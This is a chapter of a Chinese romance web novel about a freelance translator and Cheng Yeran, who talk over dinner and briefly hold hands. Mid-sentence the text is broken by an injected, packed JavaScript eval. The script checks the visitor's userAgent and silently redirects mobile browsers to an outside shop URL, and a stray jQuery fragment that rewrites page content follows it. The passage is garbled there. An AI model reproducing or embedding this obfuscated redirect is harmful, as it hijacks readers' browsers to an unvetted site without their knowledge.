虽然古语有云，食不言寝不语，但许知蕴是非常喜欢在饭桌上聊天的那类人。
试想想，在一家人上班的上班、上学的上学、跳广场舞的跳广场舞之类的情况下，能聚在一起说会话的时间，也就剩晚饭的时候了。
两个有工作的人一起吃饭聊什么？当然是兜兜转转，聊回工作了。
程烨然自从考核期结束后，就从“加班卷生卷死”的情况中恢复过来，就像日剧《我，到点下班》的主人公一样，从不拖沓。许知蕴说，幸好你这是在外企，加班文化不深厚，不然你这样的工作态度，是要被上司叫到办公室里去的。
她举了自己曾经在公司里工作的例子。尽管只在厂里干了一年半，但她发现自己居然清楚地记得部长和同事们的样子。
“我们那个部长，简直是完美主义。”
许知蕴一想到部长油光水滑的大背头就心烦，“什么事情都要做到十全十美，怎么可能？连文件装订距离页边多少厘米都有规定。只要他生气了，决不能从他办公室门口走过，不然就会被抓过去阴阳怪气……小许呀，工作怎么样了？你觉得自己做得挺好的，是吧……听到这种话，鸡皮疙瘩都要起了！”
许知蕴尽管抱怨这位部长的“perfectionism”,但她不得不承认，这位部长的个人能力很强。
“其实呢，他能坐到这个位置，肯定是有理由的。可能只是我不习惯，或者说不喜欢他的管理方式……离职的时候去办手续，我碰见他，祝他今后一帆风顺——我真这么想，我觉得凭他的能力一定能晋升的。部长那天还挺和善，笑呵呵的，送了我一罐雀巢。后来我就索性干自由翻译了。”
比起条条框框，她更喜欢自由。就算收入并不算多，她也很喜欢。
提到“自由翻译”，程烨然的脑海里浮现出的，是他和许知蕴在咖啡馆里遇见的场景。
那时，他看见一个人，在桌上对着电脑和字典，时而文思泉涌，手指动得飞快，时而又挠挠脑袋，扣扣书沿，拿着笔在稿纸上涂涂写写。
明明是有点烦躁的样子，但程烨然却无端觉得很是可爱。
今天，许知蕴好像又变成了这个状态，只是不敲电脑了，转而抱着的是一本厚实的原文书。
他问：“我可以看看你手上的那本书么？”
许知蕴一愣，随即反应过来：“啊，可以的！”
她从包里拿出那本书，递给程烨然。
想着“虽然知道是原版书但我的英文也不差所以应该也能看懂吧”的程烨然，翻开了书本的第一页。
随后，他就被密密麻麻的英文晃花了眼。
印刷的字体比平常看的小了不少，纸张的触感也不甚平滑，透着一股淡淡的油墨香味，有点像报纸。
程烨然虽然在公司里也少不了回外文邮件，看外文稿件，但书上仿佛要挤到一起的26个字母们，还是让他败下阵来。
他努力把第一页看完，然后在许知蕴半是期待，半是忍笑的神情中，将书推了回去。
“怎么样？”许知蕴问。
“嗯……”程烨然努力寻找着措辞，“我觉得——”
许知蕴眸光闪闪地盯着他。
程烨然犹豫两秒钟，然后非常诚实地交代：“很抱歉，我看得眼花缭乱，只知道前边一大段景物描写，下着大雨，然后主角撑伞走过泥泞的街道。没了。”
许知蕴扬了扬手中的书，给他一个肯定的眼神：“自信点，你说得很对，第一页就只是讲了这点内容。”
程烨然问：“这本书应该还没引进吧？”
“对。”
“那么，你是第一批译者咯？”
许知蕴笑眯眯：“对呀。我可希望这本书译完出版之后能大卖特卖呢。”
销量如果够好，她的名气也会扩大，就能接更大的单子，赚更多的钱……
迟早要买一个大平层！
她仿佛看见美好的生活在向她招手。
但理想很丰满，衬得现实就有些枯萎。许知蕴连这本书的内容还没看完呢。再说，她并不是没接过其他短篇小说的翻译，只是那些出版社把千字的价格压得很低，任凭怎么和编辑斤斤计较都没辙，令人抓狂。
许知蕴其实是一个很好懂的人。
当她没有刻意收敛时，她内心的想法，其实在脸上都能显露一二。
程烨然看到她的嘴角上扬又下撇，就大概能猜出来她究竟在想什么了。
他温声道：“别想那么多。我看过你翻译的文章，翻得很好。或许比起纠结，把这件事完成更为重要。”
他虽然不太懂翻译业界的生态究竟如何，但他觉得，以许知蕴的才华，未来一定会在其中牢牢地占据一席之地。
许知蕴一口干完味噌汤，叹了口气：“哎，也只能这样啦。每天给自己打打鸡血，喝喝鸡汤，日子还是很快乐的……”
她说到一半，拿着筷子准备去夹刺身的手忽然在空中顿住了。
“——哎？！”
她后知后觉地反应过来：“你看过我翻译的文章？”
许知蕴对自己的笔名并不会藏着掖着，但当先前程烨然问她时，她只觉得对方是在进行“礼貌性询问”。
得知一个人在向杂志投稿，出于礼貌问问笔名，再正常不过的事。
她没想到程烨然会看。
“是、是哪本杂志上的？”她有些磕巴，“我投过好几家杂志来着……”
程烨然说：“是有专栏的那一家。”
那个专栏的名字叫“悬疑情感”。
许知蕴喜欢看恐怖悬疑片，因此对这类故事非常感兴趣。杂志是月刊，她每月都会供一篇猎奇悬疑类型的翻译稿：月夜追凶啦、暗杀啦、破案啦……翻译自己喜欢的类型的故事，已经不单纯是工作了，而是一种享受。许知蕴最喜欢在晚上，特别是下雨的晚上，做这类故事的翻译——因为很有氛围感嘛！
“咳咳。”她装模作样地轻轻嗓子，语气里带了些自己都没发现的期待，“你也喜欢看这类故事吗？嗯……我翻得还不错……吧？”
程烨然单手撑着下巴，望着她，忽然在许知蕴略显惊讶的目光下，伸出手来，轻轻摩挲了一把她的头发。
许知蕴的头发乌黑发亮，很柔软，像一条上好的绸缎。她坐在餐桌的对面，隔着血液和皮肤，感受到他手掌心隐隐约约传来的温热。
仅仅在她头上停留了两三秒，他的手就收回去了。
很绅士很温柔的一次触碰。
但就在那一刹那，许知蕴的心中忽然升起某种她自己都不敢置信的勇气。
她一把伸出了手，捉住了对方白皙修长的手指。
这下换程烨然愣住了。
许知蕴则在心里尖叫。
……OhmyGod！我本来是想捉他手腕的！一下子距离没掌控好，莫名其妙就变成十指相扣了！
两个人的手都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067594|149342||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
很暖，相触的地方，温度蔓延到四肢百骸，就像是有一簇小小的火焰在燃烧。
他们一时都没说话，气氛瞬间变得静谧起来。许知蕴恍惚有种错觉，似乎他们不是坐在小小的日料店，而是身处雷蒙德·卡佛的诗。
“我——”
她深吸一口气，语气十分诚恳，假装自己不是在为这瞬间的尴尬找借口：“我——我太感动了！你知道的，对于一个译者来说，能够遇见喜欢的读者，是一件多么开心的事……”
虽然吧，这算是摆脱尴尬局面的托词，但许知蕴这番话却是真心的。
每一个文字工作者，都会因为有人喜欢自己的文字而开心，哪怕她只有一个读者。
程烨然的面上还是挂着那样的笑容，只是眸色深沉了些许。
“然后呢？”他轻声问道。
“……啊？”许知蕴没想到这一层，卡壳了，“没、没什么然后，我就是……一时激动……”
还能有什么要说，还应该有什么要说的？
她的大脑飞速运转，却猛然感受到手上传来一阵不容忽视的力度。
程烨然用掌心拢住了她的手指。这像是一场再自然不过的握手，又像是在为她取暖。
“手太冰啦。”他扬眉道，“大夏天的。”
这场短暂的，如梦幻般的触碰就此结束。他们又退到了“正常”的社交线以外，似乎刚刚的举措只不过是朋友之间的相互关心。
许知蕴这才感受到，刚才由于紧张，自己的指尖由于出了汗，被店里的空调一激，反而变得冰凉。她低头揉了揉自己的手指，有些不好意思。
“你会有很多读者的，相信我。”程烨然说，“到时候你要是出名了，记得给我写签名哦。”
他的语气很笃定，就像是在阐述一个既定的事实。
许知蕴看着他，目光隐晦地从他的睫毛流连到他的眼睛。
很深邃的墨色，就像是万丈高楼还未平地起时，周末的夜晚，抬头仰望所看到的星空。
都说眼睛是心灵的窗户，那这样一双眼睛的主人，在刚刚那场电光火石之中，又究竟在想什么呢？
*
那天晚上，许知蕴又失眠了。
没有熬夜，没有晚上喝咖啡，也没有因为肚子饿从梦中惊醒，而是躺在床上，翻来覆去像个煎蛋，白噪音也听了、睡前也不玩手机了、不做运动了……可是就是睡不着。
许知蕴无奈地翻身坐起，打开了房间的灯。
反正明天也不用上班。不是睡不着吗，那就熬夜好了。正好加班加点把要翻译的书多看几页。
我要让这个身体知道谁才是真正的主人！
她面无表情地想着，挪动到书桌前，把书打开。
但过了半小时，她发现自己完全读不进去。那些英文字母们就像小蝌蚪，在空气中游来游去，就是不进脑子。她读完一页，差点要翻过去，才惊诧地发现自己虽然看懂了每个单词，但却完全没有去理解文本的意思。
……就这个状态，还怎么工作啊。
许知蕴叹了口气。
桌上绿色的小恐龙们一字排开，从矮到高，像忠诚守护这张书桌的小卫兵。许知蕴把三只都抱起来，揉搓着它们毛茸茸、软乎乎的脸蛋，闷声道：
“小朋友们，你们都很聪明……那么来告诉我，你们的设计师，到底在想什么呀？”
小恐龙的豆豆眼静静地看着许知蕴，不作回答。